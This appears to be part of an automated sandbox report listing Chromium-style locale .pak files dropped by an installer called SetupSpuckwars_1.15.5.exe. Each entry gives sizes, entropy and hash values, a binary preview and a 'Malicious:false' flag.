                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):437670
                                                                                                                  Entropy (8bit):5.638618522703661
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:TjewdtAe6tN4tVFHzmstt4Uoo3W3sb3F5hZanXnEv9AhraszLOAty6ls1V:RR/v4UVWwF5UEabns1V
                                                                                                                  MD5:A8CBD741A764F40B16AFEA275F240E7E
                                                                                                                  SHA1:317D30BBAD8FD0C30DE383998EA5BE4EEC0BB246
                                                                                                                  SHA-256:A1A9D84FD3AF571A57BE8B1A9189D40B836808998E00EC9BD15557B83D0E3086
                                                                                                                  SHA-512:3DA91C0CA20165445A2D283DB7DC749FCF73E049BFFF346B1D79B03391AEFC7F1310D3AC2C42109044CFB50AFCF178DCF3A34B4823626228E591F328DD7AFE95
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........C.h.\...i.m...j.y...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.......$.....).....1.....9.....A.....H.....O.....V.....W.....X.....Z...........................................................3.....O.....Q.....U.....}...........................................................7.....Q.....b.....h.....n.....................................................,.....5.....8.....?.....U.....g.....y...........................................................'.....@.....c.....g.........................................9.....[.....l...........................................................1.....H.....O.....R.....S.....].....h.....p.....w.......................].....h.......................8.....C.....U.....\.....k.....n.....y...................................S............................................. .....".....%.'...(.A...*.^...+.a...,.........../.....0.....1.....3.....4.,...5.Q...6.....7.....8.....9.....<.....=.....>.....?.....@.....A.i...C.....D...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\ml.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):998155
                                                                                                                  Entropy (8bit):4.3110320925732095
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:T6ALnHOE47/URV1BQMmWDcZubSAD7qcDs3eThx5D/7dZdO3cb:9Owoys3eT5D/79O3u
                                                                                                                  MD5:1C81104AC2CBF7F7739AF62EB77D20D5
                                                                                                                  SHA1:0F0D564F1860302F171356EA35B3A6306C051C10
                                                                                                                  SHA-256:66005BC01175A4F6560D1E9768DBC72B46A4198F8E435250C8EBC232D2DAC108
                                                                                                                  SHA-512:969294EAE8C95A1126803A35B8D3F1FC3C9D22350AA9CC76B2323B77AD7E84395D6D83B89DEB64565783405D6F7EAE40DEF7BDAF0D08DA67845AE9C7DBB26926
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........:.h.n...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.......6.....;.....C.....K.....S.....Z.....a.....h.....i.....j.....o.................Z.......................1.....O.................k.....m.....q.......................E.............................x.................Y.............................+....._...........6.....T.....{.............................5.......................u...........,.........................................#.....K...............................................:...........,.....f.............................".....f.......................O.....................................................i................._.....}.......................`.........................................s...........T...........&...........l.......................H.....s......... .....".....%.....(.....*.T...+.W...,.........../.....0.....1.....3.....4.....5.v...6.....7.R...8.....9.....;.S...<.p...=.....>.....?.....@.....A.U...C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\mr.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):816652
                                                                                                                  Entropy (8bit):4.350418506868822
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:ZE7bv9/9xAvtACKjxUp0djbOXspvibMFFPMUh3RQR3KB+5lx14/H4bmHwMaZ0t4k:ZE7b1fOACsxZjAEV6yZ00VbJ5JgezP5
                                                                                                                  MD5:2CF9F07DDF7A3A70A48E8B524A5AED43
                                                                                                                  SHA1:974C1A01F651092F78D2D20553C3462267DDF4E9
                                                                                                                  SHA-256:23058C0F71D9E40F927775D980524D866F70322E0EF215AA5748C239707451E7
                                                                                                                  SHA-512:0B21570DEEFA41DEFC3C25C57B3171635BCB5593761D48A8116888CE8BE34C1499FF79C7A3EBBE13B5A565C90027D294C6835E92E6254D582A86750640FE90F2
                                                                                                                  Malicious:false
                                                                                                                  Preview:........|.|.h.....i.....j.....k.....l.*...n.2...o.7...p.D...r.J...s.[...t.d...v.y...w.....y.....z.....|.....}.........................................................................q...................................5.....G.....Y.............................<.....a.......................,.....B.....w.......................^.....}.................................................................D.....M.....P.....l.......................A.......................<.....O.....W.....^.....j.............................2.............................J.......................P.....s...................................-.....N.....r.....................................................2...........b...................................K.....d.........................................@.................,.....m.......................:.....]............... .....".....%.J...(.....*.....+.....,.......!.../.]...0.j...1.....3.....4.4...5.n...6.....7.....8.X...9.....;.....<.....=.....>.%...?.8...@.g...A.....C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\ms.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):374453
                                                                                                                  Entropy (8bit):5.272284824619555
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:DZ/AO2kUDrt2MBrIxFQJulcul5WkS/PSOW5soNY3MMyvek:DZ/ApkUDrt2MOxSIl51kP05RYcMA
                                                                                                                  MD5:AEE105366A1870B9D10F0F897E9295DB
                                                                                                                  SHA1:EEE9D789A8EEAFE593CE77A7C554F92A26A2296F
                                                                                                                  SHA-256:C6471AEE5F34F31477D57F593B09CB1DE87F5FD0F9B5E63D8BAB4986CF10D939
                                                                                                                  SHA-512:240688A0054BFEBE36EA2B056194EE07E87BBBEB7E385131C73A64AA7967984610FCB80638DD883837014F9BC920037069D0655E3E92A5922F76813AEDB185FA
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........8.h.r...i.z...j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.).....1.....6.....>.....F.....N.....U.....\.....c.....d.....e.....j...........................................................A.....X.....Z.....^...........................................................+.....9.....M.....Z.....a.....f.....u.......................................................................*.....9.....M.....d.......................................................................$.....6.....d.....x.....................................................).....=.....@.....T.....h.....z...................................................................................e...................................$...../.....A.....L.....V.....^.....e.....|...................................1.....F.....L.....R.....a.....v......... .....".....%.....(.....*.....+.....,.......$.../.:...0.D...1.x...3.....4.....5.....6.....7.....8.&...9.9...;.M...<.X...=.i...>.....?.....@.....A...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\nb.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):367614
                                                                                                                  Entropy (8bit):5.435724855090923
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:TAJxNH0uqnIhgFYMqOp7fwcbgtmX07Sgzuu5Dn4XYnOGrr:ExdfqnPFYMqOp7fwcwSgB5Dn4LGrr
                                                                                                                  MD5:55D5AD4EACB12824CFCD89470664C856
                                                                                                                  SHA1:F893C00D8D4FDB2F3E7A74A8BE823E5E8F0CD673
                                                                                                                  SHA-256:4F44789A2C38EDC396A31ABA5CC09D20FB84CD1E06F70C49F0664289C33CD261
                                                                                                                  SHA-512:555D87BE8C97F466C6B3E7B23EC0210335846398C33DBA71E926FF7E26901A3908DBB0F639C93DB2D090C9D8BDA48EDDF196B1A09794D0E396B2C02B4720F37E
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........P.h.B...i.Y...j.e...k.t...l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.........................%.....-.....4.....;.....B.....C.....D.....F.....m.....x.................................................................".....J.....^.....v.....{.....................................................)...../.....5.....D.....T.....c.......................................................................-.....J.....c.....{.......................................................................+.....6.....@.....Y.....o.......................................................................%.....5.....I.....P.....S.....T.....[.....c.....n.....u.......................*...........x...........................................................,.....I.....`.....y...............................................'.....2... .7...".@...%.Z...(.z...*.....+.....,.........../.....0.....1.....3. ...4.:...5.O...6.....7.....8.....9.....;.....<.....=.....>.....?.....@.....A.?...C.\.

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\nl.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):379453
                                                                                                                  Entropy (8bit):5.379227569652463
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:KcJ9Smne7gqDO5EQHzpamU3D+qn7Cv5qPxOGpLMsLPW:Km9nCgqDO5ELrOv5qPxOGpLM+PW
                                                                                                                  MD5:0F04BAC280035FAB018F634BCB5F53AE
                                                                                                                  SHA1:4CAD76EAECD924B12013E98C3A0E99B192BE8936
                                                                                                                  SHA-256:BE254BCDA4DBE167CB2E57402A4A0A814D591807C675302D2CE286013B40799B
                                                                                                                  SHA-512:1256A6ACAC5A42621CB59EB3DA42DDEEACFE290F6AE4A92D00EBD4450A8B7CCB6F0CD5C21CF0F18FE4D43D0D7AEE87B6991FEF154908792930295A3871FA53DF
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........Y.h.0...i.A...j.M...k.\...l.g...n.o...o.t...p.....r.....s.....t.....v.....w.....y.....z.....|.....}...........................................#.....*.....+.....,...........\.....h.....x.................................................................).....A.....].....k.....{...............................................)...........7.....F.....V.....e.................................................................3.....K.....o.................................................................).....0.....E.....}.........................................'.....1.....?.....^.....a.....v.............................................................................).....k.......................+.....@.....X.................................................................3.....H.....f............................................. .....".....%.....(.+...*.D...+.G...,.e.....v.../.....0.....1.....3.....4.....5.....6.J...7.b...8.....9.....;.....<.....=.....>.....?.....@.....A.....C.8...D.B.

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\pl.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):422325
                                                                                                                  Entropy (8bit):5.774687126444438
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:roj98jy/jojSoM/Z+Xgv3iWhbhvPeCUdxUwVTmNF1Qhjhd5UR405Y:ryMV+1Qhb5IY
                                                                                                                  MD5:F1D48A7DCD4880A27E39B7561B6EB0AB
                                                                                                                  SHA1:353C3BA213CD2E1F7423C6BA857A8D8BE40D8302
                                                                                                                  SHA-256:2593C8B59849FBC690CBD513F06685EA3292CD0187FCF6B9069CBF3C9B0E8A85
                                                                                                                  SHA-512:132DA2D3C1A4DAD5CCB399B107D7B6D9203A4B264EF8A65ADD11C5E8C75859115443E1C65ECE2E690C046A82687829F54EC855F99D4843F859AB1DD7C71F35A5
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........R.h.>...i.O...j.Y...k.h...l.s...n.{...o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................!.....(...../.....6.....7.....8.....:.....j.....y.....................................................!.....#.....'.....O.....g.................................................................*.....0.....6.....I.....].....o.............................................................................J.....f.............................................................................K....._.....j.....................................................<.....?.....N.....\.....k.......................................................................9.......................(.....E.....`.....................................................#.....=.....k...............................................9.....D... .M...".]...%.....(.....*.....+.....,.........../.....0."...1.Q...3.`...4.....5.....6.....7.....8.....9.....;.&...<.1...=.;...>.O...?.X...@.k...A.....C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\pt-BR.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):399250
                                                                                                                  Entropy (8bit):5.432001310431886
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:oNssFqCoNBXBL3sNA65VyS15LqJVlLUoR1peV:oNssFqIF5uJH4oR/g
                                                                                                                  MD5:8E931FFBDED8933891FB27D2CCA7F37D
                                                                                                                  SHA1:AB0A49B86079D3E0EB9B684CA36EB98D1D1FD473
                                                                                                                  SHA-256:6632BD12F04A5385012B5CDEBE8C0DAD4A06750DC91C974264D8FE60E8B6951D
                                                                                                                  SHA-512:CF0F6485A65C13CF5DDD6457D34CDEA222708B0BB5CA57034ED2C4900FD22765385547AF2E2391E78F02DCF00B7A2B3AC42A3509DD4237581CFB87B8F389E48D
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........=.h.h...i.y...j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.(.....0.....5.....=.....E.....M.....T.....[.....b.....c.....d.....i...........................................................@.....U.....W.....[...........................................................'.....A.....a.....x...............................................!.....,.....<.....I.....M.....P.....W.....l.....z.....................................................&.....,.....7.....E.....].....g.....x...................................4.....>.....N.....[.....m...................................................................................%.....,.....<.....o.......................&.....;.....R.....z.................................................................G.....e............................................. .....".....%.)...(.?...*.Z...+.]...,.{........./.....0.....1.....3.....4.....5.'...6._...7.s...8.....9.....;.....<.....=.....>.....?.....@.....A.0...C.S...D.].

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\pt-PT.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):400379
                                                                                                                  Entropy (8bit):5.412017917472705
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:dqPhA4zslBWfIw2ieJVJJxhmOcXLFIUK5IKM4RV6X:EJolB/2bfK5IKM4RG
                                                                                                                  MD5:B4954B064E3F6A9BA546DDA5FA625927
                                                                                                                  SHA1:584686C6026518932991F7DE611E2266D8523F9D
                                                                                                                  SHA-256:EE1E014550B85E3D18FB5128984A713D9F6DE2258001B50DDD18391E7307B4A1
                                                                                                                  SHA-512:CB3B465B311F83B972ECA1C66862B2C5D6EA6AC15282E0094AEA455123DDF32E85DF24A94A0AEDBE1B925FF3ED005BA1E00D5EE820676D7A5A366153ADE90EF7
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........2.h.~...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.&...|.,...}.>.....F.....K.....S.....[.....c.....j.....q.....x.....y.....z.....................................................!.....).....J.....\.....^.....b...........................................................).....<.....W.....o.....y.....................................................'.....4.....8.....;.....B.....[.....i.....z...............................................$.....*.....5.....C.....Y.....a.....r.........................................6.....A.....Q.....^.....p.............................................................................%...........5.....F.............................>.....R.....f...........................................................(.....U.....q............................................... ... .$...".8...%.S...(.i...*.....+.....,.........../.....0.....1.....3.&...4.J...5.n...6.....7.....8.....9.....;.....<.....=.....>.A...?.L...@.a...A.....C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\ro.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):412797
                                                                                                                  Entropy (8bit):5.469387509353947
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:Lsg4/xnSFcFG1Y6vFEsif5QB0o1s21/oulzr:Lt7FcFG1Y6vesif5QKob/dr
                                                                                                                  MD5:D2758F6ADBAEEA7CD5D95F4AD6DDE954
                                                                                                                  SHA1:D7476DB23D8B0E11BBABF6A59FDE7609586BDC8A
                                                                                                                  SHA-256:2B7906F33BFBE8E9968BCD65366E2E996CDF2F3E1A1FC56AD54BAF261C66954C
                                                                                                                  SHA-512:8378032D6FEBEA8B5047ADA667CB19E6A41F890CB36305ACC2500662B4377CAEF3DC50987C925E05F21C12E32C3920188A58EE59D687266D70B8BFB1B0169A6E
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........Z.h.....i.?...j.I...k.X...l.c...n.k...o.p...p.}...r.....s.....t.....v.....w.....y.....z.....|.....}.................................................&.....'.....(.....*.....e.....t.......................................................................2.....S.....p.....y...............................................-.....D.....L....._.....s...............................................2.....=.....E.....b...................................>.....O.....W....._.....f.....l.....{...............................................+.....;.....b...........................................................'.....B.....`.....t.....{.....~...............................................].............................2.....b.....m.....................................................?.....g.........................................#...../... .9...".M...%.p...(.....*.....+.....,.........../.....0.....1.....3.?...4.[...5.{...6.....7.....8.....9.....;.....<.....=.(...>.C...?.K...@.Z...A.....C.....D...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\ru.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):672991
                                                                                                                  Entropy (8bit):4.887128747074479
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:xkFzEroY5eXN2hHO3j/jHXzvMBJJWkKce8P/XzFGGJn/aZ/LNUFC0WGWajfG1UpM:xUQMi5y6d4
                                                                                                                  MD5:2885BDE990EE3B30F2C54A4067421B68
                                                                                                                  SHA1:AE16C4D534B120FDD68D33C091A0EC89FD58793F
                                                                                                                  SHA-256:9FCDA0D1FAB7FFF7E2F27980DE8D94FF31E14287F58BD5D35929DE5DD9CBCDCA
                                                                                                                  SHA-512:F7781F5C07FBF128399B88245F35055964FF0CDE1CC6B35563ABC64F520971CE9916827097CA18855B46EC6397639F5416A6E8386A9390AFBA4332D47D21693F
                                                                                                                  Malicious:false
                                                                                                                  Preview:............h.(...i.9...j.E...k.T...l._...n.g...o.l...p.y...r.....s.....t.....v.....w.....y.....z.....|.....}.................................................".....#.....$.....&.....~...................................4.....>.....H.........................................-.....9.....X.....l...................................T.....w.............................E.....o.....y...............................................$.....?.....|.......................).....7.....?.....M.....n...................................H.....X.......................#.....D.....W.....{...................................<.....^...........................................................r.............................@.....g.............................).....>.....L.....z.................`.....~...........$.....U.....g.....{..................... .....".....%.,...(.r...*.....+.....,.........../.:...0.K...1.....3.....4.....5."...6.....7.....8.....9.....;.....<.1...=.E...>.|...?.....@.....A.-...C.e...D.v...E.....F...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\sk.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):426178
                                                                                                                  Entropy (8bit):5.821396103086126
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:M43lA0ct/muNypigJ4BOn5aHSL9aQCqoLWGL:91cgsypipBI5aHSL9aQCDLd
                                                                                                                  MD5:B7E97CC98B104053E5F1D6A671C703B7
                                                                                                                  SHA1:0F7293F1744AE2CD858EB3431EE016641478AE7D
                                                                                                                  SHA-256:B0D38869275D9D295E42B0B90D0177E0CA56A393874E4BB454439B8CE25D686F
                                                                                                                  SHA-512:EF3247C6F0F4065A4B68DB6BF7E28C8101A9C6C791B3F771ED67B5B70F2C9689CEC67A1C864F423382C076E4CBB6019C1C0CB9AD0204454E28F749A69B6B0DE0
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........R.h.>...i.R...j.^...k.m...l.x...n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................&.....-.....4.....;.....<.....=.....?.....s.....................................................(.....=.....?.....C.....k.....................................................'.....7.....S.....b.....h.....p...........................................................-.....8.....V.....l.....~...........................................................#.....2.....I.....T.....o...................................8.....B.....P.....\.....k.............................................................................'...../.....;.....K.................?.....F.............................+.....F.....K.....W.....b.....k...................................N............................................. .....".....%.,...(.G...*.h...+.k...,.........../.....0.....1.....3.....4. ...5.?...6.v...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.Z...C.{...D.....E...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\sl.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):411437
                                                                                                                  Entropy (8bit):5.49350335324308
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:tnerKYjnS4fhmi0i2iiBnnbANjbnPMum4ocyxPbPD/yu0zrVftjQLc35BdFPcNpU:lEjnSn1iHd35vtcqO+i/fz50qg
                                                                                                                  MD5:CA763E801DE642E4D68510900FF6FABB
                                                                                                                  SHA1:C32A871831CE486514F621B3AB09387548EE1CFF
                                                                                                                  SHA-256:340E0BABE5FDDBFDA601C747127251CF111DD7D79D0D6A5EC4E8443B835027DE
                                                                                                                  SHA-512:E2847CE75DE57DEB05528DD9557047EDCD15D86BF40A911EB97E988A8FDBDA1CD0E0A81320EADF510C91C826499A897C770C007DE936927DF7A1CC82FA262039
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........c.h.....i.-...j.7...k.F...l.Q...n.Y...o.^...p.k...r.q...s.....t.....v.....w.....y.....z.....|.....}.........................................................................B.....T.....b.....r.....z.....................................................F.....d.....|.......................................................................%.....4.....H.....W.......................................................................#.....=.....].....{.....................................................#...........>.....k.....u...............................................'.....6.....P.....U.....e.....x.............................................................................E.......................&.....I.....j.....................................................%.....=.....j...............................................&.....2... .<...".N...%.f...(.....*.....+.....,.........../.....0.....1.I...3.X...4.t...5.....6.....7.....8.....9.....;.#...<./...=.9...>.L...?.V...@.d...A.....C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\sr.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):630964
                                                                                                                  Entropy (8bit):4.810757945626649
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:H0JfhK5lIRIS151RHexYzs+DN5W9xTvvWF37sQ/k/k/i:y5V9dN5Oxjn
                                                                                                                  MD5:C68C235D8E696C098CF66191E648196B
                                                                                                                  SHA1:5C967FBBD90403A755D6C4B2411E359884DC8317
                                                                                                                  SHA-256:AB96A18177AF90495E2E3C96292638A775AA75C1D210CA6A6C18FBC284CD815B
                                                                                                                  SHA-512:34D14D8CB851DF1EA8CD3CC7E9690EAF965D8941CFCAC1C946606115AD889630156C5FF47011B27C1288F8DF70E8A7DC41909A9FA98D75B691742EC1D1A5E653
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........?.h.d...i.u...j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.$.....,.....1.....9.....A.....I.....P.....W.....^....._.....`.....b.......................#.....=.....X.............................I.....K.....O.....w...................................(.....B.....w.........................................B.....k.............................+.....D....._.....i.....y...................................Q...............................................&.....H.....l.....x.............................B.....e............................./.....O.........................................(.....H.....O.....R.....S.....].....i.......................5...........Q.....a...........1.....^................................... .....*.....N.......................O............................. .....5.....h.....}... .....".....%.....(.%...*.W...+.Z...,.x........./.....0.....1.4...3.K...4.....5.....6.$...7.L...8.z...9.....;.....<.....=.....>.!...?.2...@.S...A.....C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\sv.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):370331
                                                                                                                  Entropy (8bit):5.550902354924257
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:A3J7MHJrRRcAjowQx+ByxN6dn4bLXvu9M7SOVDE/xUDv6o5WI5ggbN:G7EHl9BdU5X5x
                                                                                                                  MD5:272F8A8B517C7283EAB83BA6993EEA63
                                                                                                                  SHA1:AD4175331B948BD4F1F323A4938863472D9B700C
                                                                                                                  SHA-256:D15B46BC9B5E31449B11251DF19CD2BA4920C759BD6D4FA8CA93FD3361FDD968
                                                                                                                  SHA-512:3A0930B7F228A779F727EBFB6AE8820AB5CC2C9E04C986BCE7B0F49F9BF124F349248ECDF108EDF8870F96B06D58DEA93A3E0E2F2DA90537632F2109E1AA65F0
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........q.h.....i.....j.....k.,...l.7...n.?...o.D...p.Q...r.W...s.h...t.q...v.....w.....y.....z.....|.....}.........................................................................(.....9.....K....._.....g.....p.....................................................%.....=.....C.....S.....d.....k.....x.................................................................W.....m.....y.................................................................?.....c.......................................................................,.....4.....?.....W.....g.................................................................".....4.....E.....b.....i.....l.....m.....u.....}.............................&.....`.....g.........................................".....*.....,.....2.....D.....e.....}.............................1.....7.....A.....Q.....`.....h... .m...".w...%.....(.....*.....+.....,.........../.....0.1...1.]...3.g...4.....5.....6.....7.....8.....9.....;.....<.%...=.3...>.J...?.S...@.c...A.....C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\sw.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):388458
                                                                                                                  Entropy (8bit):5.356168167447509
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:6144:24pV6wBz58kN6vhq//3UZFBIzDWs8ADjLKrYNguA/h5aS0DwV+ChZYeeq0e1k4H5:24bVd5B/3U/BLs8kMKguA/h5N1hZY+0u
                                                                                                                  MD5:67A443A5C2EAAD32625EDB5F8DEB7852
                                                                                                                  SHA1:A6137841E8E7736C5EDE1D0DC0CE3A44DC41013F
                                                                                                                  SHA-256:41DFB772AE4C6F9E879BF7B4FA776B2877A2F8740FA747031B3D6F57F34D81DD
                                                                                                                  SHA-512:E0FDFF1C3C834D8AF8634F43C2F16BA5B883A8D88DFD322593A13830047568FAF9F41D0BF73CD59E2E33C38FA58998D4702D2B0C21666717A86945D18B3F29E5
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........K.h.L...i.W...j.c...k.r...l.}...n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.........................#.....+.....2.....9.....@.....A.....B.....G.....k.....}...........................................................!.....%.....M.....c...........................................................$.....5.....?.....E.....\.....p.....}.................................................................6.....N.....p.................................................................?.....F.....X.........................................K.....U.....`.....l.....................................................%.....,...../.....0.....=.....D.....I.....P.....W.....c.............................6.....N.....c.................................................................L.....e................................................... .!...".1...%.U...(.o...*.....+.....,.........../.....0.....1. ...3.6...4.L...5.i...6.....7.....8.....9.....;.....<.....=.....>.....?.&...@.A...A.q.

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\ta.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):987188
                                                                                                                  Entropy (8bit):4.090571010189695
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:3072:S3YCY5ynH4ASpuCkCxSiP84Gb/v5nB7zztROcA2P:SnVUdQO84Gb/v55zztROcA2P
                                                                                                                  MD5:18EC8FF3C0701A6A8C48F341D368BAB5
                                                                                                                  SHA1:8BFF8AEE26B990CF739A29F83EFDF883817E59D8
                                                                                                                  SHA-256:052BCDB64A80E504BB6552B97881526795B64E0AB7EE5FC031F3EDF87160DEE9
                                                                                                                  SHA-512:A0E997FC9D316277DE3F4773388835C287AB1A35770C01E376FB7428FF87683A425F6A6A605D38DD7904CA39C50998CD85F855CB33AE6ABAD47AC85A1584FE4E
                                                                                                                  Malicious:false
                                                                                                                  Preview:..........x.h.....i.....j.....k.....l.)...n.1...o.6...p.C...r.I...s.Z...t.c...v.x...w.....y.....z.....|.....}...........................................................................................).....G.....P.......................M...........................................................,.....{.................&.....p.............................5.....W...........L.....d.......................#.....&.....8.....p.......................y...........+.....M.....Y.....a.....h.......................0.....K.....s.......................?...........$.....{.......................6.....w.....z.................1.....d...............................................1.....D...........c...........................................................$.....K.....c.....o.................S...........0.................U.....j........................... . ...".Z...%.....(.)...*.....+.....,.........../.....0.....1.....3.....4.7...5.....6.Z...7.....8.....9.$...;.g...<.....=.....>.....?.....@.0...A.y...C...

                                                                                                                  C:\Users\user\AppData\Local\Temp\nsc83BD.tmp\7z-out\locales\te.pak

                                                                                                                  Download File
                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                  File Type:data
                                                                                                                  Category:dropped
                                                                                                                  Size (bytes):916416
                                                                                                                  Entropy (8bit):4.338166638560127
                                                                                                                  Encrypted:false
                                                                                                                  SSDEEP:12288:iy/yX8OsABW3p1F9SviTlwJAg5NFO1Tr/p54JAQvfEC28+58XoX0DTq9OyU+0Ak1:vu8OkDY5YMZb
                                                                                                                  MD5:A17F16D7A038B0FA3A87D7B1B8095766
                                                                                                                  SHA1:B2F845E52B32C513E6565248F91901AB6874E117
                                                                                                                  SHA-256:D39716633228A5872630522306F89AF8585F8092779892087C3F1230D21A489E
                                                                                                                  SHA-512:371FB44B20B8ABA00C4D6F17701FA4303181AD628F60C7B4218E33BE7026F118F619D66D679BFFCB0213C48700FAFD36B2E704499A362F715F63EA9A75D719E7
                                                                                                                  Malicious:false
